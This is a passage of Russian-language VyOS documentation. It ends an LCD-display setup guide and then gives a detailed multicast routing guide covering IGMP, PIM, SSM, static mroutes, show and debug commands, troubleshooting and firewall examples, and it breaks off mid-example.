### 6. Питание USB устройств

Для предотвращения проблем с питанием:

- Используйте порты USB 3.0 (больше мощности)
- Рассмотрите использование USB хаба с питанием
- Проверяйте потребление: `lsusb -v | grep MaxPower`

### 7. Совместимость с серверным оборудованием

При установке в серверное шасси:

- Проверьте размеры дисплея (5.25" или 3.5" отсек)
- Убедитесь в совместимости крепежа
- Проверьте доступность USB/Serial портов изнутри шасси

### 8. Тестирование при обновлении

После обновления VyOS:

```bash
# Проверить конфигурацию LCD
show configuration commands | grep lcd

# Проверить статус службы
systemctl status lcdproc

# Проверить логи
journalctl -u lcdproc.service -n 50
```

## Интеграция с мониторингом

### SNMP мониторинг дисплея

Можно мониторить статус LCD через SNMP:

```bash
configure

# Включить SNMP
set service snmp community public authorization ro
set service snmp community public network 192.168.1.0/24

commit
save
```

Проверка с удаленного хоста:

```bash
snmpwalk -v2c -c public <router-ip> .1.3.6.1.4.1.2021.11
```

### Интеграция с системными событиями

Можно расширить функциональность для отображения критических событий на дисплее через пользовательские скрипты и LCDPROC клиенты.

## Примеры использования

### Пример 1: Пограничный маршрутизатор в стойке

```bash
configure

# Основная конфигурация системы
set system host-name border-router-dc1-r15
set system domain-name corp.example.com
set system description "Border Router - DC1, Rack 15"

# LCD дисплей
set system lcd device ttyUSB0
set system lcd model cfa635

# Время и NTP
set system time-zone UTC
set system ntp server 0.pool.ntp.org
set system ntp server 1.pool.ntp.org

commit
save
```

### Пример 2: Firewall с последовательным дисплеем

```bash
configure

# Системная конфигурация
set system host-name fw-dmz-01
set system description "DMZ Firewall"

# LCD через последовательный порт
set system lcd device ttyS0
set system lcd model cfa633

# Конфигурация интерфейсов для отображения
set interfaces ethernet eth0 description "WAN"
set interfaces ethernet eth1 description "DMZ"
set interfaces ethernet eth2 description "LAN"

commit
save
```

### Пример 3: VPN концентратор

```bash
configure

# Системная конфигурация
set system host-name vpn-concentrator-01
set system description "VPN Gateway - Branch Office"

# LCD дисплей
set system lcd device ttyUSB0
set system lcd model cfa631

# VPN конфигурация будет видна на дисплее
set vpn ipsec site-to-site peer 203.0.113.1 description "HQ"

commit
save
```

## Сравнение моделей

| Модель | Размер | Интерфейс | Кнопки | Подсветка | Применение |
|--------|--------|-----------|--------|-----------|------------|
| CFA-533 | 16x2 | USB | 4 | Одноцветная | Базовое, компактное |
| CFA-631 | 20x2 | USB | 6 | RGB | Расширенное, цветное |
| CFA-633 | 16x2 | USB/Serial | 4 | Одноцветная | Универсальное |
| CFA-635 | 20x4 | USB/Serial | 6 | RGB | Профессиональное |

### Рекомендации по выбору

**CFA-533**:

- Бюджетный вариант
- Базовый функционал
- Компактные устройства

**CFA-631**:

- Средний сегмент
- Больше информации (20 символов)
- RGB подсветка для цветовой индикации

**CFA-633**:

- Универсальный выбор
- Гибкость подключения
- Совместимость с 5.25" отсеком

**CFA-635**:

- Профессиональный уровень
- Максимум информации (20x4)
- Дополнительный функционал (вентиляторы, датчики)
- Серверное применение

## Заключение

LCD дисплеи в VyOS предоставляют удобный способ мониторинга состояния системы непосредственно на физическом устройстве. Это особенно полезно для:

- **Дата-центров**: Быстрая идентификация устройств в стойке
- **Удаленных локаций**: Локальная диагностика без удаленного доступа
- **Критичных систем**: Мониторинг без зависимости от сети
- **Промышленных применений**: Надежное отображение в жестких условиях

### Ключевые моменты

1. **Только bare-metal**: Функция не работает в виртуальных средах
2. **Ограниченная поддержка**: Проверьте совместимость вашей модели
3. **Простая конфигурация**: Всего две команды для базовой настройки
4. **Автоматическое управление**: LCDPROC автоматически циклически отображает информацию
5. **Расширяемость**: Возможность ручной настройки LCDPROC для продвинутых сценариев

### Дальнейшие шаги

- Проверьте совместимость вашего LCD дисплея
- Определите тип подключения (USB или Serial)
- Примените базовую конфигурацию
- Проверьте отображение информации
- При необходимости настройте расширенные параметры

## Дополнительные ресурсы

- **VyOS Documentation**: https://docs.vyos.io/en/latest/configuration/system/lcd.html
- **LCDPROC Project**: http://lcdproc.org/
- **CrystalFontz Support**: https://www.crystalfontz.com/support/
- **VyOS Community**: https://forum.vyos.io/
- **VyOS Bug Tracker**: https://vyos.dev/

---

**Примечание**: Данная документация актуальна для VyOS 1.4 (Sagitta) и VyOS 1.5 (Circinus). Функциональность LCD дисплеев является стабильной и существенно не меняется между версиями.


---

# Multicast - Многоадресная маршрутизация

Source: https://opennix.org/docs/vyos/routing/vyos-multicast/


## Обзор

Многоадресная маршрутизация (Multicast Routing) позволяет эффективно передавать данные от одного источника множеству получателей одновременно. Это критически важно для приложений потоковой передачи данных, таких как:

- IPTV и потоковое видео
- Видеоконференции
- Распространение программного обеспечения
- Финансовые данные в реальном времени
- Онлайн-игры

VyOS поддерживает многоадресную маршрутизацию через интеграцию с FRRouting (FRR), обеспечивая полноценную поддержку протоколов IGMP и PIM.

### Основные концепции

**Адресация Multicast**:
- IPv4 диапазон: 224.0.0.0/4 (224.0.0.0 - 239.255.255.255)
- 224.0.0.0/24 - зарезервированные адреса для локальной сети
- 239.0.0.0/8 - административно ограниченные адреса (для частных сетей)

**Группы Multicast**:
- Получатели присоединяются к группам по IP-адресу группы
- Источники отправляют данные на адрес группы
- Маршрутизаторы доставляют трафик только заинтересованным получателям

**Протоколы**:
- **IGMP (Internet Group Management Protocol)**: управление членством в группах между хостами и маршрутизаторами
- **PIM (Protocol Independent Multicast)**: маршрутизация multicast-трафика между маршрутизаторами
- **MSDP (Multicast Source Discovery Protocol)**: обмен информацией об источниках между доменами

## Архитектура многоадресной маршрутизации

### Основные компоненты

**Source (Источник)**:
- Узел, отправляющий multicast-трафик
- Идентифицируется по IP-адресу

**Group (Группа)**:
- Множество получателей, заинтересованных в данных
- Идентифицируется multicast IP-адресом

**RPF (Reverse Path Forwarding)**:
- Механизм проверки, что пакет пришел по кратчайшему пути к источнику
- Предотвращает петли маршрутизации

**Multicast RIB (MRIB)**:
- Отдельная таблица маршрутизации для multicast
- Используется для RPF-проверок

### Типы деревьев распространения

**SPT (Shortest Path Tree)**:
- Дерево кратчайших путей от источника к получателям
- Оптимальная задержка
- Больше состояний на маршрутизаторах
- Обозначение: (S,G) - Source, Group

**RPT (Rendezvous Point Tree)**:
- Общее дерево через точку встречи (RP)
- Меньше состояний на маршрутизаторах
- Возможна неоптимальная маршрутизация
- Обозначение: (*,G) - Any Source, Group

## Статические маршруты Multicast

VyOS поддерживает статические многоадресные маршруты для управления RPF-проверками. Эти маршруты используются только для определения обратного пути и не влияют на обычную маршрутизацию unicast.

### Базовая конфигурация

**Статический маршрут с next-hop**:

```bash
set protocols static mroute <подсеть> next-hop <адрес>
set protocols static mroute <подсеть> next-hop <адрес> distance <расстояние>
```

Параметры:
- `<подсеть>` - адрес сети источника multicast-трафика
- `<адрес>` - IP-адрес следующего узла для RPF
- `<расстояние>` - административное расстояние (опционально, по умолчанию 1)

**Статический маршрут через интерфейс**:

```bash
set protocols static mroute <подсеть> interface <интерфейс>
set protocols static mroute <подсеть> interface <интерфейс> distance <расстояние>
```

Параметры:
- `<интерфейс>` - исходящий интерфейс для RPF-проверки

**Отключение маршрута**:

```bash
set protocols static mroute <подсеть> next-hop <адрес> disable
set protocols static mroute <подсеть> interface <интерфейс> disable
```

### Примеры конфигурации

**Пример 1: Базовый статический mroute**

```bash
# Настройка статического маршрута для источника 10.100.50.0/24
configure
set protocols static mroute 10.100.50.0/24 next-hop 192.168.1.1
commit
save
```

**Пример 2: Несколько маршрутов с разными метриками**

```bash
configure
# Основной путь с низкой метрикой
set protocols static mroute 10.200.0.0/16 next-hop 192.168.1.1 distance 10

# Резервный путь с высокой метрикой
set protocols static mroute 10.200.0.0/16 next-hop 192.168.2.1 distance 20
commit
save
```

**Пример 3: Маршрут через интерфейс**

```bash
configure
# Multicast-трафик от источников в 172.16.0.0/12 ожидается на eth1
set protocols static mroute 172.16.0.0/12 interface eth1
commit
save
```

### Важные замечания

**Предостережение**: Статические multicast-маршруты следует использовать с осторожностью. В большинстве случаев они не требуются, так как динамические протоколы маршрутизации (PIM) автоматически обрабатывают RPF.

**Ограничения**:
- Маршруты используются только для RPF-проверок
- Не вставляются в таблицу маршрутизации ядра
- Не обрабатываются ZEBRA для обычной маршрутизации
- Могут создавать "странные состояния" при неправильной настройке

**Применение**:
- Разрешение конфликтов RPF в сложных топологиях
- Переопределение unicast-маршрутов для multicast-трафика
- Поддержка асимметричной маршрутизации

## Multicast Forwarding (MFIB)

### Таблица многоадресной пересылки

MFIB (Multicast Forwarding Information Base) - структура данных, используемая для пересылки multicast-пакетов.

**Ключевые элементы**:
- **(S,G) entries**: запись для конкретного источника и группы
- **(*,G) entries**: запись для всех источников определенной группы
- **IIF (Incoming Interface)**: интерфейс, с которого ожидается трафик
- **OIL (Outgoing Interface List)**: список интерфейсов для пересылки

### Состояния интерфейсов

**Incoming Interface (IIF)**:
- Определяется RPF-проверкой
- Только один IIF для каждого (S,G)
- Пакеты принимаются только с IIF

**Outgoing Interfaces (OIF)**:
- Интерфейсы с активными получателями
- Управляются IGMP/PIM
- Могут включать туннели и виртуальные интерфейсы

### Процесс пересылки

1. **Прием пакета**: проверка, что пакет пришел через IIF
2. **RPF check**: если провален - пакет отбрасывается
3. **TTL scope**: проверка TTL boundary
4. **Forwarding**: копирование пакета на все OIF из списка

## IGMP - Internet Group Management Protocol

IGMP управляет членством хостов в multicast-группах. VyOS поддерживает IGMPv2 и IGMPv3.

### Основные версии

**IGMPv2**:
- Поддержка базовых операций join/leave
- Выборы querier
- Быстрый leave process

**IGMPv3**:
- Source-Specific Multicast (SSM)
- Фильтрация по источникам (INCLUDE/EXCLUDE)
- Обратная совместимость с IGMPv2

### Конфигурация IGMP

**Включение IGMP на интерфейсе**:

```bash
set protocols igmp interface <интерфейс>
```

**Настройка версии IGMP**:

```bash
set protocols igmp interface <интерфейс> version <2|3>
```

**Query интервалы**:

```bash
# Query interval (секунды, по умолчанию 125)
set protocols igmp interface <интерфейс> query-interval <секунды>

# Query max-response-time (десятые доли секунды, по умолчанию 100)
set protocols igmp interface <интерфейс> query-max-response-time <значение>
```

**Настройки join**:

```bash
# Статическое присоединение к группе
set protocols igmp interface <интерфейс> join <group-address>

# Присоединение с указанием источника (SSM)
set protocols igmp interface <интерфейс> join <group-address> source <source-address>
```

### Пример конфигурации IGMP

```bash
configure

# Настройка IGMP на LAN интерфейсе
set protocols igmp interface eth1
set protocols igmp interface eth1 version 3
set protocols igmp interface eth1 query-interval 125
set protocols igmp interface eth1 query-max-response-time 100

# Статическое присоединение (для тестирования)
set protocols igmp interface eth1 join 239.1.1.1

commit
save
```

## PIM - Protocol Independent Multicast

PIM обеспечивает маршрутизацию multicast-трафика между маршрутизаторами. VyOS поддерживает PIM-SM (Sparse Mode) и PIM-SSM (Source-Specific Multicast).

### Режимы работы PIM

**PIM-SM (Sparse Mode)**:
- Использует Rendezvous Point (RP)
- Эффективен для разреженного распределения получателей
- Поддерживает (*,G) и (S,G) деревья

**PIM-SSM (Source-Specific Multicast)**:
- Только (S,G) деревья
- Не требует RP
- Диапазон адресов: 232.0.0.0/8
- Требует IGMPv3

### Базовая конфигурация PIM

**Включение PIM**:

```bash
set protocols pim interface <интерфейс>
```

**Настройка RP (для PIM-SM)**:

```bash
# Статический RP
set protocols pim rp address <IP-адрес>

# RP для определенных групп
set protocols pim rp address <IP-адрес> group <адрес-группы/префикс>
```

**Настройка SSM диапазона**:

```bash
set protocols pim ssm-range <префикс>
```

**Keep-alive timer**:

```bash
set protocols pim interface <интерфейс> hello-interval <секунды>
set protocols pim interface <интерфейс> dead-interval <секунды>
```

### Расширенные настройки PIM

**DR Priority**:

```bash
# Приоритет Designated Router (по умолчанию 1)
set protocols pim interface <интерфейс> dr-priority <0-4294967295>
```

**Регистрация в RP**:

```bash
# Подавление null-register
set protocols pim register-suppress-time <секунды>
```

**BSR (Bootstrap Router)**:

```bash
# Настройка BSR кандидата
set protocols pim bsr-candidate interface <интерфейс>
set protocols pim bsr-candidate priority <0-255>
```

### Пример конфигурации PIM-SM

```bash
configure

# Включение PIM на интерфейсах
set protocols pim interface eth0
set protocols pim interface eth1
set protocols pim interface eth2

# Настройка интервалов hello
set protocols pim interface eth0 hello-interval 30
set protocols pim interface eth1 hello-interval 30
set protocols pim interface eth2 hello-interval 30

# Настройка Rendezvous Point
set protocols pim rp address 10.0.0.1
set protocols pim rp address 10.0.0.1 group 239.0.0.0/8

# Настройка DR priority на upstream интерфейсе
set protocols pim interface eth0 dr-priority 100

commit
save
```

### Пример конфигурации PIM-SSM

```bash
configure

# Включение PIM на интерфейсах
set protocols pim interface eth0
set protocols pim interface eth1

# Настройка SSM диапазона
set protocols pim ssm-range 232.0.0.0/8

# IGMP версия 3 обязательна для SSM
set protocols igmp interface eth1 version 3

commit
save
```

## SSM - Source-Specific Multicast

SSM является улучшенной моделью multicast, где получатели явно указывают источники, от которых хотят получать данные.

### Преимущества SSM

**Безопасность**:
- Получатели выбирают только доверенные источники
- Предотвращение DoS атак через неизвестные источники

**Простота**:
- Не требует Rendezvous Point
- Упрощенная конфигурация
- Только SPT деревья (S,G)

**Эффективность**:
- Оптимальные пути от источника к получателям
- Нет начального периода на RPT

### Диапазоны адресов SSM

**IPv4**: 232.0.0.0/8
- Стандартизирован RFC 4607
- Зарезервирован только для SSM

**Пример распределения**:
- 232.0.0.0/24 - локальные тесты
- 232.1.0.0/16 - корпоративное использование
- 232.2.0.0/16 - провайдерские сервисы

### Конфигурация SSM

**Полная конфигурация SSM**:

```bash
configure

# Настройка IGMP v3 на клиентских интерфейсах
set protocols igmp interface eth1 version 3
set protocols igmp interface eth2 version 3

# Включение PIM
set protocols pim interface eth0
set protocols pim interface eth1
set protocols pim interface eth2

# Определение SSM диапазона
set protocols pim ssm-range 232.0.0.0/8

# Опционально: добавление custom диапазонов
set protocols pim ssm-range 239.232.0.0/16

commit
save
```

**Статическое присоединение (SSM)**:

```bash
# Клиент присоединяется к группе с конкретным источником
set protocols igmp interface eth1 join 232.1.1.1 source 10.100.50.10
```

## Практические примеры

### Пример 1: IPTV распространение в Yandex Cloud

**Сценарий**: Провайдер IPTV в Yandex Cloud распространяет телевизионные каналы пользователям в разных подсетях.

**Топология**:
- Источник IPTV: 10.100.50.10
- Multicast группы: 239.1.1.0/24 (каналы)
- VyOS маршрутизатор: граничный шлюз
- Клиентские сети: 10.200.1.0/24, 10.200.2.0/24

**Конфигурация**:

```bash
configure

# Интерфейсы
# eth0 - uplink к источнику IPTV
# eth1 - клиентская сеть 1
# eth2 - клиентская сеть 2

# Включение IGMP на клиентских интерфейсах
set protocols igmp interface eth1 version 3
set protocols igmp interface eth1 query-interval 125
set protocols igmp interface eth1 query-max-response-time 100

set protocols igmp interface eth2 version 3
set protocols igmp interface eth2 query-interval 125
set protocols igmp interface eth2 query-max-response-time 100

# Включение PIM на всех интерфейсах
set protocols pim interface eth0
set protocols pim interface eth1
set protocols pim interface eth2

# Настройка hello интервалов
set protocols pim interface eth0 hello-interval 30
set protocols pim interface eth1 hello-interval 30
set protocols pim interface eth2 hello-interval 30

# Настройка RP (сам маршрутизатор)
set protocols pim rp address 10.100.1.1
set protocols pim rp address 10.100.1.1 group 239.1.0.0/16

# Повышение DR priority на uplink
set protocols pim interface eth0 dr-priority 100

# Оптимизация: статический mroute для RPF
set protocols static mroute 10.100.50.0/24 interface eth0

# Настройка firewall для multicast (если требуется)
set firewall group network-group MULTICAST_SOURCES network 10.100.50.0/24
set firewall name WAN_IN rule 100 action accept
set firewall name WAN_IN rule 100 source group network-group MULTICAST_SOURCES
set firewall name WAN_IN rule 100 destination address 239.0.0.0/8
set firewall name WAN_IN rule 100 protocol udp

commit
save
```

**Проверка**:

```bash
# Проверка IGMP групп
show ip igmp groups

# Проверка PIM соседей
show ip pim neighbor

# Проверка multicast маршрутов
show ip mroute

# Проверка конкретной группы
show ip mroute 239.1.1.10

# Статистика IGMP
show ip igmp interface eth1

# PIM интерфейсы
show ip pim interface
```

### Пример 2: Видеоконференции в VK Cloud

**Сценарий**: Корпоративная система видеоконференций использует SSM для распространения видеопотоков между филиалами в VK Cloud.

**Топология**:
- Офис A: 192.168.10.0/24
- Офис B: 192.168.20.0/24
- Офис C: 192.168.30.0/24
- SSM диапазон: 232.10.0.0/16
- VyOS роутеры в каждом офисе

**Конфигурация (центральный маршрутизатор)**:

```bash
configure

# Интерфейсы к филиалам
# eth1 - Офис A (192.168.10.0/24)
# eth2 - Офис B (192.168.20.0/24)
# eth3 - Офис C (192.168.30.0/24)

# IGMP версия 3 обязательна для SSM
set protocols igmp interface eth1 version 3
set protocols igmp interface eth2 version 3
set protocols igmp interface eth3 version 3

# Короткие query интервалы для быстрого реагирования
set protocols igmp interface eth1 query-interval 60
set protocols igmp interface eth2 query-interval 60
set protocols igmp interface eth3 query-interval 60

# Включение PIM
set protocols pim interface eth1
set protocols pim interface eth2
set protocols pim interface eth3

# Настройка SSM диапазона
set protocols pim ssm-range 232.0.0.0/8
set protocols pim ssm-range 232.10.0.0/16

# Короткие hello интервалы для быстрой сходимости
set protocols pim interface eth1 hello-interval 15
set protocols pim interface eth2 hello-interval 15
set protocols pim interface eth3 hello-interval 15

# QoS для multicast трафика (опционально)
set qos policy shaper OFFICE_OUT bandwidth 100mbit
set qos policy shaper OFFICE_OUT class 10 bandwidth 50mbit
set qos policy shaper OFFICE_OUT class 10 match VIDEO_CONFERENCE ip destination address 232.10.0.0/16
set qos policy shaper OFFICE_OUT class 10 priority 1
set qos policy shaper OFFICE_OUT default bandwidth 50mbit

set interfaces ethernet eth1 qos-policy out OFFICE_OUT
set interfaces ethernet eth2 qos-policy out OFFICE_OUT
set interfaces ethernet eth3 qos-policy out OFFICE_OUT

commit
save
```

**Конфигурация клиента (для тестирования)**:

На Linux клиенте для присоединения к SSM группе:

```bash
# Утилита для SSM join
ip maddr add 232.10.1.1 dev eth0

# Или с указанием источника (IGMPv3)
# Требуется специальное приложение, поддерживающее SSM
# Например, VLC с параметрами:
vlc udp://@232.10.1.1:5000 --miface=eth0 --program-ssrc=192.168.10.100
```

**Проверка SSM**:

```bash
# Проверка (S,G) записей
show ip mroute

# Должны видеть записи вида:
# (192.168.10.100, 232.10.1.1)
# (192.168.20.50, 232.10.1.2)

# Проверка IGMP групп с источниками
show ip igmp groups

# PIM upstream состояние
show ip pim upstream

# Статистика по группе
show ip mroute 232.10.1.1
```

### Пример 3: Комплексная конфигурация с несколькими RP

**Сценарий**: Крупная сеть с разделением multicast доменов и резервированием RP.

```bash
configure

# ========================================
# Базовые настройки интерфейсов
# ========================================

# Upstream интерфейсы
set protocols igmp interface eth0
set protocols igmp interface eth0 version 3
set protocols pim interface eth0
set protocols pim interface eth0 dr-priority 100

# Downstream интерфейсы
set protocols igmp interface eth1 version 3
set protocols igmp interface eth2 version 3
set protocols igmp interface eth3 version 3

set protocols pim interface eth1
set protocols pim interface eth2
set protocols pim interface eth3

# ========================================
# Настройка множественных RP
# ========================================

# Основной RP для общих групп
set protocols pim rp address 10.0.1.1
set protocols pim rp address 10.0.1.1 group 239.0.0.0/16

# Специализированный RP для видео (239.1.x.x)
set protocols pim rp address 10.0.2.1
set protocols pim rp address 10.0.2.1 group 239.1.0.0/16

# RP для аудио (239.2.x.x)
set protocols pim rp address 10.0.3.1
set protocols pim rp address 10.0.3.1 group 239.2.0.0/16

# SSM диапазон (без RP)
set protocols pim ssm-range 232.0.0.0/8

# ========================================
# Статические mroute для управления RPF
# ========================================

# Источники видео
set protocols static mroute 10.100.0.0/16 next-hop 10.0.1.254 distance 10

# Резервный путь
set protocols static mroute 10.100.0.0/16 next-hop 10.0.2.254 distance 20

# ========================================
# Оптимизация таймеров
# ========================================

# Быстрая сходимость на критичных интерфейсах
set protocols pim interface eth0 hello-interval 15
set protocols pim interface eth1 hello-interval 30
set protocols pim interface eth2 hello-interval 30
set protocols pim interface eth3 hello-interval 30

# IGMP query оптимизация
set protocols igmp interface eth1 query-interval 60
set protocols igmp interface eth2 query-interval 60
set protocols igmp interface eth3 query-interval 60

# ========================================
# Логирование и отладка
# ========================================

# Включение логов PIM (опционально, для отладки)
# set protocols pim log-neighbor-changes

commit
save
```

## Команды проверки и мониторинга

### Основные команды show

**Multicast routing table**:

```bash
# Полная таблица multicast маршрутов
show ip mroute

# Конкретная группа
show ip mroute 239.1.1.1

# Только active источники
show ip mroute active

# Подробная информация
show ip mroute detail

# Статистика
show ip mroute count
```

**Вывод show ip mroute**:

```
IP Multicast Routing Table
Flags: S - Sparse, C - Connected, P - Pruned
       R - RP-bit set, F - Register flag, T - SPT-bit set

(10.100.50.10, 239.1.1.1), uptime 00:15:23, flags: SCT
  Incoming interface: eth0, RPF neighbor 10.100.1.254
  Outgoing interface list:
    eth1, uptime 00:15:23, PIM
    eth2, uptime 00:10:15, PIM

(*, 239.1.1.1), uptime 00:20:45, flags: SC
  Incoming interface: eth0, RPF neighbor 10.0.1.1
  Outgoing interface list:
    eth1, uptime 00:20:45, PIM
    eth2, uptime 00:18:30, PIM
```

**IGMP информация**:

```bash
# Все IGMP группы
show ip igmp groups

# Группы на конкретном интерфейсе
show ip igmp interface eth1

# IGMP sources (для IGMPv3/SSM)
show ip igmp sources

# Статистика IGMP
show ip igmp statistics
```

**PIM информация**:

```bash
# PIM соседи
show ip pim neighbor

# PIM интерфейсы
show ip pim interface

# PIM RP информация
show ip pim rp-info

# Upstream состояние
show ip pim upstream

# BSR информация (если используется)
show ip pim bsr

# PIM топология для группы
show ip pim join
```

**Статические mroute**:

```bash
# Отображение статических multicast маршрутов
show ip mroute static

# Или через общую команду
run show configuration commands | grep "protocols static mroute"
```

### Команды отладки

**Включение отладки PIM**:

```bash
# ВНИМАНИЕ: генерирует много логов!
configure
set system syslog global facility all level debug
commit

# Просмотр логов
monitor log messages
```

**Отладка конкретных компонентов** (через vtysh):

```bash
# Войти в FRR shell
vtysh

# PIM отладка
debug pim events
debug pim packets
debug pim trace

# IGMP отладка
debug igmp events
debug igmp packets
debug igmp trace

# Multicast forwarding
debug mroute
debug mroute detail

# Отключение отладки
no debug pim events
no debug igmp events

# Выход
exit
```

**Проверка RPF**:

```bash
# Проверка RPF для конкретного источника
show ip rpf 10.100.50.10

# Вывод:
# RPF information for 10.100.50.10
#   RPF interface: eth0
#   RPF address: 10.100.1.254
#   RPF metric: 10
#   RPF protocol: Static Mroute
```

### Мониторинг в реальном времени

**Наблюдение за изменениями**:

```bash
# Мониторинг лога в реальном времени
monitor log messages

# Отслеживание изменений в mroute
watch -n 2 'vtysh -c "show ip mroute"'

# Мониторинг IGMP присоединений
watch -n 5 'vtysh -c "show ip igmp groups"'
```

**Тестирование multicast**:

```bash
# На отправителе (source)
# Отправка multicast пакетов (требует установки утилит)
# mcast-sender -g 239.1.1.1 -p 5000

# На получателе (receiver)
# Присоединение к группе
# ip maddr add 239.1.1.1 dev eth0
# mcast-receiver -g 239.1.1.1 -p 5000

# Или использовать VLC
# vlc udp://@239.1.1.1:5000
```

## Troubleshooting - Устранение неисправностей

### Общие проблемы

#### Проблема 1: Нет multicast трафика

**Симптомы**:
- Клиенты не получают multicast поток
- `show ip mroute` пуст или нет нужных записей

**Диагностика**:

```bash
# Шаг 1: Проверить IGMP группы
show ip igmp groups
# Должны видеть группы на downstream интерфейсах

# Шаг 2: Проверить PIM соседей
show ip pim neighbor
# Должны быть соседи на всех PIM интерфейсах

# Шаг 3: Проверить RPF
show ip rpf <source-ip>
# RPF interface должен указывать на правильный upstream

# Шаг 4: Проверить firewall
show firewall name <rule-set> statistics
# Убедиться, что multicast трафик не блокируется

# Шаг 5: Проверить интерфейсы PIM
show ip pim interface
# Все интерфейсы должны быть UP
```

**Решение**:

```bash
# Если нет IGMP групп - проверить версию IGMP
configure
set protocols igmp interface eth1 version 3
commit

# Если нет PIM соседей - проверить конфигурацию
show configuration protocols pim
set protocols pim interface eth0
commit

# Если RPF неправильный - добавить static mroute
set protocols static mroute <source-network> next-hop <correct-gateway>
commit

# Если firewall блокирует - добавить правила
set firewall name WAN_IN rule 100 action accept
set firewall name WAN_IN rule 100 protocol pim
set firewall name WAN_IN rule 100 description "Allow PIM protocol"

set firewall name WAN_IN rule 101 action accept
set firewall name WAN_IN rule 101 protocol igmp
set firewall name WAN_IN rule 101 description "Allow IGMP protocol"

set firewall name WAN_IN rule 102 action accept
set firewall name WAN_IN rule 102 destination address 224.0.0.0/4
set firewall name WAN_IN rule 102 description "Allow multicast traffic"
commit
save
```

#### Проблема 2: RPF failures

**Симптомы**:
- В логах: "RPF failure for (S,G)"
- `show ip mroute` показывает записи, но без outgoing interfaces

**Диагностика**:

```bash
# Проверить RPF для источника
show ip rpf <source-ip>

# Проверить unicast маршрут к источнику
show ip route <source-ip>

# Проверить static mroute (если используются)
run show configuration commands | grep mroute
```

**Решение**:

```bash
configure

# Вариант 1: Добавить static mroute
set protocols static mroute <source-network> interface <correct-interface>

# Вариант 2: Изменить метрику существующего маршрута
set protocols static mroute <source-network> next-hop <gateway> distance 5

# Вариант 3: Использовать route-map для изменения RPF
# (более сложный сценарий, обычно не требуется)

commit
save
```

#### Проблема 3: SSM не работает

**Симптомы**:
- IGMPv3 клиенты не могут присоединиться к SSM группам
- Нет (S,G) записей для SSM диапазона

**Диагностика**:

```bash
# Проверить версию IGMP
show ip igmp interface

# Проверить SSM диапазон
run show configuration commands | grep "pim ssm-range"

# Проверить IGMP sources
show ip igmp sources
```

**Решение**:

```bash
configure

# Убедиться, что IGMPv3 включена
set protocols igmp interface eth1 version 3

# Настроить SSM диапазон
set protocols pim ssm-range 232.0.0.0/8

# Проверить, что клиент использует правильный SSM диапазон
# (232.0.0.0/8 для IPv4)

commit
save
```

#### Проблема 4: Медленная сходимость

**Симптомы**:
- Долгое время до начала получения multicast
- Задержки при переключении источников

**Диагностика**:

```bash
# Проверить таймеры IGMP
show ip igmp interface detail

# Проверить PIM hello интервалы
show ip pim interface detail
```

**Решение**:

```bash
configure

# Уменьшить IGMP query interval
set protocols igmp interface eth1 query-interval 60
set protocols igmp interface eth1 query-max-response-time 50

# Уменьшить PIM hello interval
set protocols pim interface eth0 hello-interval 15

# Для критичных сценариев можно еще меньше:
# set protocols igmp interface eth1 query-interval 30
# set protocols pim interface eth0 hello-interval 10

commit
save
```

#### Проблема 5: Duplicate packets

**Симптомы**:
- Клиенты получают дублирующиеся multicast пакеты
- Сетевая петля в multicast топологии

**Диагностика**:

```bash
# Проверить топологию PIM
show ip pim neighbor

# Проверить DR (Designated Router)
show ip pim interface

# Проверить наличие петель
show ip mroute detail
# Искать одинаковые (S,G) на разных интерфейсах с одинаковым uptime
```

**Решение**:

```bash
configure

# Установить правильный DR priority
# Более высокий priority = предпочтительный DR
set protocols pim interface eth0 dr-priority 100
set protocols pim interface eth1 dr-priority 10

# Проверить правильность RPF
show ip rpf <source-ip>

# Если необходимо, исправить static mroute
delete protocols static mroute <incorrect-route>
set protocols static mroute <source-network> interface <correct-interface>

commit
save
```

### Команды для расширенной диагностики

**PIM assert механизм**:

```bash
# Проверить PIM assert состояние (через vtysh)
vtysh -c "show ip pim assert"

# Проверить metric для assert
vtysh -c "show ip pim assert-metric"
```

**Multicast VIF (Virtual Interface)**:

```bash
# Просмотр multicast virtual interfaces
vtysh -c "show ip multicast vif"
```

**PIM register состояние**:

```bash
# Проверить состояние регистрации на RP
vtysh -c "show ip pim state"
```

## Best Practices - Лучшие практики

### Проектирование сети

1. **Планирование адресного пространства**:
   - Используйте 239.0.0.0/8 для частных multicast групп
   - 232.0.0.0/8 резервируйте для SSM
   - Документируйте назначение групп

2. **Размещение RP**:
   - RP должен быть в стабильной, центральной точке сети
   - Рассмотрите anycast RP для отказоустойчивости
   - Используйте разные RP для разных диапазонов групп

3. **Topology дизайн**:
   - Минимизируйте количество hops от источников к получателям
   - Избегайте asymmetric routing для multicast
   - Используйте dedicated links для high-bandwidth multicast

### Конфигурация

1. **Использование SSM где возможно**:
   - SSM проще и безопаснее PIM-SM
   - Не требует RP configuration
   - Оптимальная маршрутизация

2. **Настройка таймеров**:
   - Балансируйте между быстрой сходимостью и overhead
   - Для критичных приложений: короткие интервалы
   - Для стабильных сетей: стандартные значения

3. **Static mroute**:
   - Используйте только при необходимости
   - Документируйте причину каждого static mroute
   - Регулярно проверяйте актуальность

4. **Firewall правила**:
   - Разрешите протоколы: IGMP (2), PIM (103)
   - Разрешите multicast адреса (224.0.0.0/4)
   - Используйте rate limiting для защиты от floods

### Безопасность

1. **Контроль источников**:
   - Ограничивайте, какие источники могут отправлять multicast
   - Используйте SSM для явного указания источников
   - Фильтруйте на edge маршрутизаторах

2. **Scope ограничения**:
   - Используйте TTL scoping для ограничения области
   - Административные границы для групп
   - Фильтрация на границах доменов

3. **Rate limiting**:
   - Ограничивайте bandwidth для multicast
   - Используйте QoS для приоритизации
   - Мониторинг аномального трафика

**Пример firewall с защитой**:

```bash
configure

# Группа разрешенных multicast источников
set firewall group network-group MULTICAST_SOURCES network 10.100.0.0/16
set firewall group network-group MULTICAST_SOURCES network 10.200.0.0/16

# Группа разрешенных multicast адресов
set firewall group network-group MULTICAST_GROUPS network 239.1.0.0/16
set firewall group network-group MULTICAST_GROUPS network 232.0.0.0/8

# Правила на входящем интерфейсе
set firewall name WAN_IN default-action drop

# Разрешить IGMP
set firewall name WAN_IN rule 10 action accept
set firewall name WAN_IN rule 10 protocol igmp
set firewall name WAN_IN rule 10 description "IGMP traffic"

# Разрешить PIM
set firewall name WAN_IN rule 20 action accept
set firewall name WAN_IN rule 20 protocol pim
set firewall name WAN_IN rule 20 description "PIM protocol"

# Разрешить multicast от доверенных источников
set firewall name WAN_IN rule 100 action accept
set firewall name WAN_IN rule 100 source group network-group MULTICAST_SOURCES
set firewall name WAN_IN rule 100 destination group network-group MULTICAST_GROUPS
